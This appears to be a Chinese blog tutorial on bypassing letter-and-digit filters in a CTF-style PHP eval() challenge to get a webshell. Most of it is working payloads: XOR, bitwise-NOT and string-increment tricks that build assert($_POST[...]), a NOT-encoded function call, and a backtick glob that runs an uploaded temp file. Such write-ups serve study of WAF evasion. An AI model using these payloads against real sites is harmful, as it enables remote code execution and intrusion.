基础版
获得webshell很简单,但是遇到waf的时候狗就不是那么有活路了,随便记记以防忘了。
先给个题好吧1
2
3
4
if (!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])){
eval($_GET['shell']);
}
可以看到有个eval函数,嗯,是个好东西,但是所有英文和数字都被过滤了怎么办
方法一
php有个trick,两个非字母的字符异或在一起可以产生一个字母,所以我们就可以这样去绕过了
首先用个assert函数去获得shell,这里注意一点是,php7以前,assert是一个函数,可以通过$a=’assert’;$a(xxxx)这样去动态执行代码,但是到了php7就不行了,下面还会给到php7的方法好吧,不慌
php5
先看一下这样一串代码1
2
3
4
5
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
通过异或获得字母然后执行phpinfo()
php7
这里可以直接用原本的eval函数就行1
2
3
$_=('%8F'^'%FF').('%7F'^'%17').('%8F'^'%FF').('%7F'^'%16').('%35'^'%5B').('%5B'^'%3D').('%34'^'%5B');
$_();
方法二
利用取反进行操作,汉字的utf-8编码提取其字符再取反,例如’来’{1}取反就是b
所以payload就是1
2
3
4
5
6
7
8
$__=('>'>'<')+('>'>'<');//这里是两个true相加,就是1+1
$_=$__/$__;//2除2
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);//assert($_POST[2])
故2=xxx即可执行任意代码
方法三
在php里面,字符++可以得到下一个字符,举个栗子:’a’++=>’b’,’b’++=>’c’
那么怎么能有个字母呢,数组的在php里面是array,如果我们echo ‘[]’,是可以得到ARRAY的,又因为在php里面大小写是不敏感的,所以问题就解决了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
升级版
好了,简单版的是这样的,如果后台加多个限制,不给用$和_,而且还不准超过35个字符怎么办1
2
3
4
5
6
7
8
9
10
11
12if(isset($_GET['shell'])){
$code = $_GET['shell'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
在php7里面,(‘phpinfo’)();这样是可以执行函数的,所以只要改一下里面的phpinfo,还是可以执行任意函数漏洞的,但是不给用字母,根据上面的思路,我们可以对ascii码取个反,继续执行
payload1
(~%8F%97%8F%96%91%99%90)();
但是在php5里面不能像php7一样动态执行函数怎么办呢
跳一下出去,不局限在php里面,直接去执行linux也是可以的
1 | =`. /???/??????;` |
如果有多个文件想要特别匹配的话,可以[^x]表示不匹配x,[0-9]表示这个位置的字符是0-9之间的,这样就可以特意匹配了
参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html